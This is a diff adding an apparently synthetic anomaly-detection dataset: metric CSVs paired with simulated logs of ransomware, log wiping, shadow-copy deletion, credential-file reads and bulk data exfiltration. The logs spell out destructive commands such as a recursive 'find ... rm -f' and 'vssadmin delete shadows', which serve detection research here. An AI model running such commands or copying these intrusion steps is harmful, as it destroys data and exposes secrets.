name="/var/lib/mysql/prod/orders.ibd.ENCRYPTED" +Jul 15 17:34:35 auditd[801]: USER_CMD pid=9876 uid=0 auid=1000 ses=5 msg='cmd=find / -type f -name "*.log" -exec rm -f {} \;' +Jul 15 17:35:00 systemd[1]: Service 'syslog' terminated unexpectedly. +Jul 15 17:35:25 security_update.sh[9876]: INFO: Encryption of /home/admin/documents complete. +Jul 15 17:36:30 security_update.sh[9876]: INFO: All files encrypted. Dropping ransom note. +Jul 15 17:36:40 kernel: [1455.123] audit: type=1325 op=create_file ppid=9876 pid=9999 file="/home/admin/documents/RECOVER_YOUR_FILES.txt" +Jul 15 17:37:05 sshd[8832]: Connection closed by 10.1.1.10 port 54321 diff --git a/mali_dataset/scenario_3/mali_3_9.csv b/mali_dataset/scenario_3/mali_3_9.csv new file mode 100644 index 0000000000000000000000000000000000000000..7b79ffe4cc68075bc043aed51db1486792b20c59 --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_9.csv @@ -0,0 +1,50 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-12-24T12:00:00Z,25.43,58.76,75.43,2.54,1.87 +2025-12-24T12:00:05Z,28.98,62.12,81.21,2.32,1.65 +2025-12-24T12:00:10Z,26.54,59.87,78.54,2.48,1.79 +2025-12-24T12:00:15Z,30.12,64.54,85.32,2.21,1.58 +2025-12-24T12:00:20Z,27.87,61.21,80.12,2.41,1.72 +2025-12-24T12:00:25Z,99.54,96.87,4954.32,0.54,0.87 +2025-12-24T12:00:30Z,98.98,95.98,4899.12,0.58,0.91 +2025-12-24T12:00:35Z,99.87,97.54,5101.87,0.49,0.82 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+2025-12-24T12:03:50Z,24.98,49.54,47.65,0.40,0.60 +2025-12-24T12:03:55Z,28.43,53.21,57.87,0.48,0.69 +2025-12-24T12:04:00Z,25.54,50.54,49.54,0.42,0.62 \ No newline at end of file diff --git a/mali_dataset/scenario_3/mali_3_9.log b/mali_dataset/scenario_3/mali_3_9.log new file mode 100644 index 0000000000000000000000000000000000000000..09330e2c9d05b44b5fd60b8bb569f608eef0012d --- /dev/null +++ b/mali_dataset/scenario_3/mali_3_9.log @@ -0,0 +1,13 @@ +Dec 24 12:00:10 sshd[11223]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.10 user=admin +Dec 24 12:00:20 systemd[1]: Started Session 12 of user ctf-player. +Dec 24 12:00:25 kernel: [12010.432] evil.sh[11240]: Running with root privileges. +Dec 24 12:00:35 vssadmin[11245]: delete shadows /for=C: /oldest /quiet +Dec 24 12:00:50 mysql-server[3456]: 2025-12-24T12:00:50.123456Z 0 [ERROR] InnoDB: Operating system error number 2 in a file operation. +Dec 24 12:01:05 apache2[4567]: [Fri Dec 24 12:01:05.123456 2025] [core:crit] [pid 4568] (13)Permission denied: [client 192.168.1.2:12345] AH00529: /var/www/html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable +Dec 24 12:01:20 mysql-server[3456]: 2025-12-24T12:01:20.654321Z 0 [ERROR] InnoDB: The error means the system cannot find the path specified. +Dec 24 12:01:35 kernel: [12025.876] audit: type=1400 apparmor="DENIED" operation="file_write" profile="/usr/sbin/mysqld" name="/var/lib/mysql/ib_logfile0.locked" pid=3456 comm="mysqld" +Dec 24 12:01:50 backup.sh[11300]: ERROR: /var/lib/mysql/proddb directory not found. +Dec 24 12:02:05 systemd[1]: session-12.scope: Succeeded. +Dec 24 12:02:20 apache2[4567]: [Fri Dec 24 12:02:20.123123 2025] [mpm_event:notice] [pid 4567:tid 140267384] AH00491: caught SIGTERM, shutting down +Dec 24 12:02:35 mysql-server[3456]: 2025-12-24T12:02:35.987654Z 0 [Note] /usr/sbin/mysqld: Shutdown complete +Dec 24 12:02:50 systemd[1]: Created file /home/ctf-player/DECRYPT_INSTRUCTIONS.html. \ No newline at end of file diff --git a/mali_dataset/scenario_4/mali_4_1.csv b/mali_dataset/scenario_4/mali_4_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..17d9b303a82a32e6d1c26e43685a59503d9944e6 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-12T04:00:00Z,13.75,36.2,20.12,1.31,0.89 +2025-07-12T04:00:05Z,19.51,42.13,16.7,1.31,1.14 +2025-07-12T04:00:10Z,17.32,42.61,28.87,1.37,0.96 +2025-07-12T04:00:15Z,15.99,40.61,28.16,1.41,1.05 +2025-07-12T04:00:20Z,11.56,42.71,18.87,1.01,1.44 +2025-07-12T04:00:25Z,11.56,39.94,24.9,1.0,0.89 +2025-07-12T04:00:30Z,10.58,40.23,27.26,1.3,1.46 +2025-07-12T04:00:35Z,18.66,39.28,23.33,1.15,1.41 +2025-07-12T04:00:40Z,16.01,35.25,22.94,1.2,0.7 +2025-07-12T04:00:45Z,17.08,36.08,18.63,1.3,0.57 +2025-07-12T04:00:50Z,10.21,35.31,16.4,1.39,0.6 +2025-07-12T04:00:55Z,19.7,41.36,28.46,0.84,0.52 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b/mali_dataset/scenario_4/mali_4_1.log new file mode 100644 index 0000000000000000000000000000000000000000..edb1c7bd1665c2b52090af2e25d5e64ad2c487b2 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_1.log @@ -0,0 +1,15 @@ +Jul 12 04:00:10 systemd[1]: Started Session 5 of user db_admin. +Jul 12 04:00:25 sshd[15482]: Accepted publickey for db_admin from 10.1.2.5 port 49822 ssh2 +Jul 12 04:00:50 cron[11432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 12 04:01:40 web-app[887]: INFO: User 'alex' successfully authenticated. +Jul 12 04:02:20 web-app[887]: GET /api/v1/dashboard HTTP/1.1 200 +Jul 12 04:02:35 auditd[512]: type=SYSCALL msg=audit(...): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b6e20 a2=90800 a3=0 items=1 ppid=15510 pid=15512 auid=1001 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=5 comm="cat" exe="/bin/cat" key="secret_file_access" +Jul 12 04:02:40 auditd[512]: type=PATH msg=audit(...): item=0 name="/etc/shadow" inode=131078 dev=fd:01 mode=0100640 ouid=0 ogid=42 rdev=00:00 nametype=NORMAL +Jul 12 04:02:50 auditd[512]: type=SYSCALL msg=audit(...): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=7ffd1f9b6e20 a2=90800 a3=0 items=1 ppid=15510 pid=15515 auid=1001 uid=1001 gid=1001 euid=1001 suid=1001 fsuid=1001 egid=1001 sgid=1001 fsgid=1001 tty=pts0 ses=5 comm="cat" exe="/bin/cat" key="secret_file_access" +Jul 12 04:02:55 auditd[512]: type=PATH msg=audit(...): item=0 name="/opt/app/credentials.env" inode=262148 dev=fd:01 mode=0100600 ouid=1001 ogid=1001 rdev=00:00 nametype=NORMAL +Jul 12 04:03:10 mysqld[1234]: 2025-07-12T04:03:10.123456Z 115 [Note] User 'db_admin'@'localhost' executed: 'SELECT * FROM customers.credit_card_details;' +Jul 12 04:03:30 mysqld[1234]: 2025-07-12T04:03:30.567890Z 115 [Note] Query OK, 1572880 rows in set (28.15 sec) +Jul 12 04:03:50 ufw-audit[15601]: [UFW ALLOW] IN= OUT=eth0 SRC=172.17.0.5 DST=185.125.190.44 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=48128 DPT=443 WINDOW=65535 RES=0x00 SYN +Jul 12 04:06:30 sshd[15482]: pam_unix(sshd:session): session closed for user db_admin +Jul 12 04:06:50 systemd[1]: Starting Clean up of User Sessions... +Jul 12 04:07:05 systemd[1]: Removed slice User Slice of UID 1001. diff --git a/mali_dataset/scenario_4/mali_4_10.csv b/mali_dataset/scenario_4/mali_4_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..74c05cebd6732e669a7bbcfe7a448d63d598ef31 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T00:00:00Z,16.049542165468097,38.78350663970909,36.090375048852074,1.2058267710653998,0.8300235206798308 +2025-07-03T00:00:05Z,17.744036651907166,38.43930226979973,28.472812782752108,1.417136771279275,1.3452468623466807 +2025-07-03T00:00:10Z,16.20072729139145,43.738607107923,23.872188186612163,0.9983607496673004,1.1157030665299685 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+2025-07-03T00:06:55Z,14.195788971783953,40.39585040775122,24.45940250840561,1.5364628737705055,50.53051622549051 +2025-07-03T00:07:00Z,12.138429755963468,41.47025934051457,24.44649757277381,1.930711330320431,51.218114451421066 +2025-07-03T00:07:05Z,14.700728765840962,40.112001186930385,31.829840061559324,1.5550112826395677,52.77205332528933 +2025-07-03T00:07:10Z,19.22660640877482,34.832351650850065,34.09568677689391,1.1920372886419974,50.48330008819376 +2025-07-03T00:07:15Z,13.73067938776891,44.76392147541445,34.75241761081326,1.5485684412932772,50.484135057342264 +2025-07-03T00:07:20Z,14.656114371168538,40.64734827122949,27.348715318004764,1.7180967065744435,48.55846403958589 +2025-07-03T00:07:25Z,13.659518600454225,42.17443773164755,31.2387643632037,0.8618515430333932,52.087162865710425 diff --git a/mali_dataset/scenario_4/mali_4_10.log b/mali_dataset/scenario_4/mali_4_10.log new file mode 100644 index 0000000000000000000000000000000000000000..c2abaa4e68d900d4fd2f8a38a2458207d9baee44 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_10.log @@ -0,0 +1,37 @@ +Jul 03 00:00:00 web-app[2045]: GET /api/v1/user/82 status=200 +Jul 03 00:00:00 CRON[8892]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 00:00:05 systemd[1]: Starting daily clean up activities... +Jul 03 00:00:15 web-app[2045]: GET /api/v1/user/193 status=200 +Jul 03 00:00:30 web-app[2045]: GET /api/v1/user/148 status=404 +Jul 03 00:00:45 web-app[2045]: GET /api/v1/user/428 status=200 +Jul 03 00:01:00 web-app[2045]: GET /api/v1/user/243 status=200 +Jul 03 00:01:10 mysqld[1122]: 20250703 0:01:10 [Warning] Aborted connection 892 to db: 'webapp_prod' user: 'webapp' host: 'localhost' (Got an error reading communication packets) +Jul 03 00:01:10 mysqld[1122]: 20250703 0:01:11 [Note] User 'backup_user'@'localhost' issued a 'SELECT * FROM user_credentials;' query. Rows returned: 500000. +Jul 03 00:01:15 web-app[2045]: GET /api/v1/user/50 status=404 +type=SYSCALL msg=audit(1751500885.883:6432): arch=c000003e syscall=59 success=yes exit=0 a0=55a62b1a13a0 a1=55a62b1a13c0 a2=55a62b1a14a0 a3=0 items=2 ppid=987 pid=3145 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm="tar" exe="/usr/bin/tar" key="backup" +type=EXECVE msg=audit(1751500885.883:6432): argc=4 a0="tar" a1="-czf" a2="/tmp/backup.tar.gz" a3="/var/www/html/userdata" +Jul 03 00:01:30 web-app[2045]: GET /api/v1/user/336 status=404 +Jul 03 00:01:45 web-app[2045]: GET /api/v1/user/376 status=200 +Jul 03 00:02:00 web-app[2045]: GET /api/v1/user/267 status=200 +Jul 03 00:02:15 web-app[2045]: GET /api/v1/user/425 status=200 +Jul 03 00:02:30 web-app[2045]: GET /api/v1/user/261 status=200 +Jul 03 00:02:35 kernel: [UFW BLOCK] IN= OUT=eth0 SRC=192.168.1.102 DST=185.125.190.27 LEN=60 TOS=0x00 PREC=0x00 TTL=64 ID=12345 DF PROTO=TCP SPT=44332 DPT=443 WINDOW=29200 RES=0x00 SYN URGP=0 +Jul 03 00:02:45 web-app[2045]: GET /api/v1/user/140 status=200 +Jul 03 00:03:00 web-app[2045]: GET /api/v1/user/199 status=404 +Jul 03 00:03:15 web-app[2045]: GET /api/v1/user/401 status=404 +Jul 03 00:03:30 web-app[2045]: GET /api/v1/user/110 status=200 +Jul 03 00:03:45 web-app[2045]: GET /api/v1/user/175 status=500 +Jul 03 00:04:00 web-app[2045]: GET /api/v1/user/131 status=200 +Jul 03 00:04:15 web-app[2045]: GET /api/v1/user/93 status=500 +Jul 03 00:04:30 web-app[2045]: GET /api/v1/user/127 status=200 +Jul 03 00:04:45 web-app[2045]: GET /api/v1/user/80 status=200 +Jul 03 00:05:00 web-app[2045]: GET /api/v1/user/332 status=200 +Jul 03 00:05:15 web-app[2045]: GET /api/v1/user/65 status=500 +Jul 03 00:05:30 web-app[2045]: GET /api/v1/user/313 status=200 +Jul 03 00:05:45 web-app[2045]: GET /api/v1/user/217 status=200 +Jul 03 00:06:00 web-app[2045]: GET /api/v1/user/69 status=404 +Jul 03 00:06:15 web-app[2045]: GET /api/v1/user/277 status=200 +Jul 03 00:06:30 web-app[2045]: GET /api/v1/user/390 status=200 +Jul 03 00:06:45 web-app[2045]: GET /api/v1/user/453 status=404 +Jul 03 00:07:00 web-app[2045]: GET /api/v1/user/127 status=500 +Jul 03 00:07:15 web-app[2045]: GET /api/v1/user/102 status=200 diff --git a/mali_dataset/scenario_4/mali_4_11.csv b/mali_dataset/scenario_4/mali_4_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..9b8cf532649b9511a743218d442cbf63cababbc0 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_11.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T03:00:00Z,16.7,34.56,33.42,1.58,0.82 +2025-08-26T03:00:05Z,11.92,39.29,34.66,1.34,0.83 +2025-08-26T03:00:10Z,15.37,36.26,33.93,1.22,0.77 +2025-08-26T03:00:15Z,15.3,41.18,32.58,1.35,1.08 +2025-08-26T03:00:20Z,13.29,42.32,34.45,1.36,0.73 +2025-08-26T03:00:25Z,13.34,43.59,32.06,1.01,1.27 +2025-08-26T03:00:30Z,13.69,45.64,31.16,1.27,0.73 +2025-08-26T03:00:35Z,15.6,42.74,34.85,1.1,0.94 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+2025-08-26T03:04:10Z,30.158241695422902,46.24,16.94,1.21,72.80486159575801 +2025-08-26T03:04:15Z,31.243134682794874,38.54,29.03,0.89,82.7423259342256 +2025-08-26T03:04:20Z,30.514357743118282,46.92,38.57,1.93,84.01528038394832 +2025-08-26T03:04:25Z,30.582935852893343,37.79,39.62,0.86,89.48586953281243 +2025-08-26T03:04:30Z,26.101346769668936,42.53,21.97,0.68,77.47744674757396 +2025-08-26T03:04:35Z,32.95170420422373,43.56,26.77,1.23,84.36862378706176 +2025-08-26T03:04:40Z,33.18433604457384,39.6,23.79,0.99,71.50912805651106 +2025-08-26T03:04:45Z,21.90803143515334,34.64,32.67,1.52,82.11900850354138 +2025-08-26T03:04:50Z,33.089615794262514,40.46,33.77,0.82,82.61193946299666 +2025-08-26T03:04:55Z,32.575073563682416,37.12,36.16,0.83,80.2082419339288 +2025-08-26T03:05:00Z,33.07272134377988,41.15,32.92,1.7,77.4413579942382 +2025-08-26T03:05:05Z,31.229315673657574,36.66,28.72,1.39,79.75919766875015 +2025-08-26T03:05:10Z,33.715583032837614,33.56,22.68,0.75,83.0575667998516 +2025-08-26T03:05:15Z,32.466261252658754,39.53,35.44,0.67,91.9983806561442 +2025-08-26T03:05:20Z,28.350722435987358,42.57,28.95,0.69,77.96207023047542 +2025-08-26T03:05:25Z,32.67181598625044,41.02,29.74,1.73,81.27614170719842 +2025-08-26T03:05:30Z,29.950951597073203,42.71,28.55,1.41,76.43190056098403 +2025-08-26T03:05:35Z,23.21712244425553,38.02,35.15,1.54,86.79044008013481 +2025-08-26T03:05:40Z,27.662385108858054,43.29,35.2,0.85,75.31780635849634 +2025-08-26T03:05:45Z,21.796362541102848,37.44,33.39,0.82,76.23286994092277 +2025-08-26T03:05:50Z,24.568145921980864,33.12,26.86,0.97,85.75188722423279 +2025-08-26T03:05:55Z,27.677147140255823,37.72,21.85,1.93,85.09223149407082 +2025-08-26T03:06:00Z,29.19542570316906,37.53,35.72,1.47,85.66802456615652 +2025-08-26T03:06:05Z,33.381127841000314,38.92,29.48,1.78,88.16379553658172 +2025-08-26T03:06:10Z,27.955111996987966,41.01,28.03,1.43,82.29898788728062 +2025-08-26T03:06:15Z,24.738361006108338,37.8,26.9,0.86,84.36965776383043 +2025-08-26T03:06:20Z,31.444241463703307,41.94,42.36,1.31,76.70068804145605 +2025-08-26T03:06:25Z,26.22373219877784,40.01,33.33,1.36,84.20139025980785 +2025-08-26T03:06:30Z,26.058043297278232,36.73,33.63,0.64,67.74917270869175 +2025-08-26T03:06:35Z,28.241496756399656,35.29,25.05,1.09,70.99416891528513 +2025-08-26T03:06:40Z,32.26772003779414,39.92,25.29,1.0,74.7943848909271 +2025-08-26T03:06:45Z,12.33,33.47,22.01,1.09,1.04 +2025-08-26T03:06:50Z,16.88,42.82,25.91,1.52,0.92 +2025-08-26T03:06:55Z,17.13,34.13,36.01,1.09,1.7 +2025-08-26T03:07:00Z,14.42,41.19,33.1,1.38,0.74 +2025-08-26T03:07:05Z,15.72,42.37,30.63,1.2,1.02 +2025-08-26T03:07:10Z,15.26,38.17,23.61,0.84,1.1 +2025-08-26T03:07:15Z,13.38,35.97,22.3,0.75,1.01 +2025-08-26T03:07:20Z,20.53,45.86,27.54,1.06,1.37 +2025-08-26T03:07:25Z,16.54,37.64,30.72,1.22,1.04 diff --git a/mali_dataset/scenario_4/mali_4_11.log b/mali_dataset/scenario_4/mali_4_11.log new file mode 100644 index 0000000000000000000000000000000000000000..eeb521b1212c07ed7a52231afd3527c394fa8ed0 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_11.log @@ -0,0 +1,40 @@ +Aug 26 03:00:00 systemd[1]: Starting daily clean up activities... +Aug 26 03:00:00 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:00:00 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:00:50 systemd[1]: Starting daily clean up activities... +Aug 26 03:01:05 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:01:25 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:01:40 systemd[1]: Starting daily clean up activities... +Aug 26 03:02:10 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:02:15 db-prod-1 postgres[3301]: [3-1] user=backup_agent,db=prod,client=127.0.0.1 LOG: statement: SELECT * FROM user_credentials; +Aug 26 03:02:25 auditd[555]: type=SYSCALL msg=audit(1756177345.0:29): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b3e10 a2=90800 a3=0 items=1 ppid=9122 pid=9123 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="tar" exe="/usr/bin/tar" key="sensitive-read" path=/etc/shadow +Aug 26 03:02:25 auditd[555]: type=SYSCALL msg=audit(1756177345.0:29): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b3e10 a2=90800 a3=0 items=1 ppid=9122 pid=9123 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="tar" exe="/usr/bin/tar" key="sensitive-read" path=/etc/gshadow +Aug 26 03:02:25 auditd[555]: type=SYSCALL msg=audit(1756177345.0:29): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b3e10 a2=90800 a3=0 items=1 ppid=9122 pid=9123 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="tar" exe="/usr/bin/tar" key="sensitive-read" path=/var/www/secrets.key +Aug 26 03:02:25 auditd[555]: type=SYSCALL msg=audit(1756177345.0:29): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b3e10 a2=90800 a3=0 items=1 ppid=9122 pid=9123 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="tar" exe="/usr/bin/tar" key="sensitive-read" path=/home/dev/.ssh/id_rsa +Aug 26 03:02:25 auditd[555]: type=SYSCALL msg=audit(1756177345.0:29): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd1f9b3e10 a2=90800 a3=0 items=1 ppid=9122 pid=9123 auid=1001 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="tar" exe="/usr/bin/tar" key="sensitive-read" path=/srv/db/credentials.env +Aug 26 03:02:30 systemd[1]: Starting daily clean up activities... +Aug 26 03:02:50 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:03:00 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:03:15 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:03:20 systemd[1]: Starting daily clean up activities... +Aug 26 03:03:20 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:03:40 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:04:00 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:04:10 systemd[1]: Starting daily clean up activities... +Aug 26 03:04:15 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:04:20 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:04:20 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:04:40 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:05:00 systemd[1]: Starting daily clean up activities... +Aug 26 03:05:00 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:05:20 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:05:25 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:05:40 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 26 03:05:40 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:05:50 systemd[1]: Starting daily clean up activities... +Aug 26 03:06:00 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:06:20 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:06:30 web-app-7[4122]: GET /api/v1/health status=200 OK +Aug 26 03:06:40 systemd[1]: Starting daily clean up activities... +Aug 26 03:06:40 firewall[999]: audit: protocol=TCP src=10.0.5.15 dst=198.51.100.23 sport=48192 dport=4444 len=1500 flags=ACK csum=0x8a1d +Aug 26 03:07:05 CRON[8891]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/mali_dataset/scenario_4/mali_4_12.csv b/mali_dataset/scenario_4/mali_4_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..1723371889a206a19ff1343f0ed57a248c6c3b5f --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T02:00:00Z,17.27,45.23,40.76,0.91,0.47 +2025-07-03T02:00:05Z,13.41,36.05,31.5,0.8,0.67 +2025-07-03T02:00:10Z,15.22,42.62,24.57,0.93,0.76 +2025-07-03T02:00:15Z,16.66,39.42,32.08,1.34,1.39 +2025-07-03T02:00:20Z,10.56,30.82,24.17,1.14,0.8 +2025-07-03T02:00:25Z,10.5,43.97,28.71,0.66,1.13 +2025-07-03T02:00:30Z,14.58,38.29,25.34,1.13,1.08 +2025-07-03T02:00:35Z,12.91,35.3,31.32,1.06,0.93 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+2025-07-03T02:07:10Z,18.35,41.36,28.59,1.32,0.67 +2025-07-03T02:07:15Z,17.56,41.04,34.6,0.65,0.49 +2025-07-03T02:07:20Z,20.3,27.55,35.81,0.64,0.75 +2025-07-03T02:07:25Z,17.91,36.21,30.44,0.92,0.97 diff --git a/mali_dataset/scenario_4/mali_4_12.log b/mali_dataset/scenario_4/mali_4_12.log new file mode 100644 index 0000000000000000000000000000000000000000..144b2fe72fdc91f3f84fe3ce2396fea7b522dd64 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_12.log @@ -0,0 +1,30 @@ +Jul 03 02:00:00 systemd[1]: Starting daily clean up activities... +Jul 03 02:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:00:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:01:15 systemd[1]: Starting daily clean up activities... +Jul 03 02:01:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:02:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:02:30 systemd[1]: Starting daily clean up activities... +Jul 03 02:02:40 postgres[4567]: [user=compromised_user,db=prod,client=10.1.2.15] LOG: STATEMENT: SELECT user_id, email, password_hash, credit_card_number FROM customers; +Jul 03 02:02:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:02:55 auditd[890]: type=PATH msg=audit(1751508175.0:123): item=0 name="/var/data/customer_export.csv" inode=12345 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Jul 03 02:02:55 auditd[890]: type=SYSCALL msg=audit(1751508175.0:123): arch=c000003e syscall=257 success=yes exit=3 a0=ffffff9c a1=7ffd3a5b6c70 a2=90800 a3=0 items=1 ppid=1234 pid=5555 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="bash" exe="/bin/bash" key="secret_access" +Jul 03 02:03:10 auditd[890]: type=PATH msg=audit(1751508190.0:124): item=0 name="/srv/secrets/api_keys.json" inode=67890 dev=fd:00 mode=0100600 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0 +Jul 03 02:03:10 auditd[890]: type=SYSCALL msg=audit(1751508190.0:124): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=7ffd3a5b6d80 a2=0 a3=0 items=1 ppid=1234 pid=5555 auid=1000 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=1 comm="bash" exe="/bin/bash" key="secret_access" +Jul 03 02:03:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:03:30 netflow[3321]: Connection Established from 10.1.2.15:49152 to 203.0.113.55:443 protocol=TCP +Jul 03 02:03:45 netflow[3321]: Data Transfer from 10.1.2.15:49152 to 203.0.113.55:443 bytes_sent=9201718 +Jul 03 02:03:45 systemd[1]: Starting daily clean up activities... +Jul 03 02:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:04:10 netflow[3321]: Data Transfer from 10.1.2.15:49152 to 203.0.113.55:443 bytes_sent=10064579 +Jul 03 02:04:35 netflow[3321]: Data Transfer from 10.1.2.15:49152 to 203.0.113.55:443 bytes_sent=10141981 +Jul 03 02:04:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:05:00 netflow[3321]: Data Transfer from 10.1.2.15:49152 to 203.0.113.55:443 bytes_sent=9146668 +Jul 03 02:05:00 systemd[1]: Starting daily clean up activities... +Jul 03 02:05:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:05:25 netflow[3321]: Data Transfer from 10.1.2.15:49152 to 203.0.113.55:443 bytes_sent=5581505 +Jul 03 02:05:45 netflow[3321]: Connection Terminated from 10.1.2.15:49152 to 203.0.113.55:443 total_bytes_sent=85923410 +Jul 03 02:06:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 02:06:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 02:07:20 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/mali_dataset/scenario_4/mali_4_13.csv b/mali_dataset/scenario_4/mali_4_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..ac8105fc13807095c94cbf99ae4c57c99a956588 --- /dev/null +++ b/mali_dataset/scenario_4/mali_4_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-26T03:00:00Z,13.86,41.04,33.8,1.41,1.07 +2025-08-26T03:00:05Z,12.5,37.86,20.12,0.62,1.23 +2025-08-26T03:00:10Z,12.21,38.64,29.44,1.39,0.96 +2025-08-26T03:00:15Z,10.92,41.99,29.29,1.31,0.93 +2025-08-26T03:00:20Z,13.82,42.64,22.4,0.77,1.27 +2025-08-26T03:00:25Z,11.93,44.41,29.98,0.71,0.6 +2025-08-26T03:00:30Z,14.85,42.93,34.07,0.8,0.59 +2025-08-26T03:00:35Z,11.01,43.29,37.98,0.86,1.27 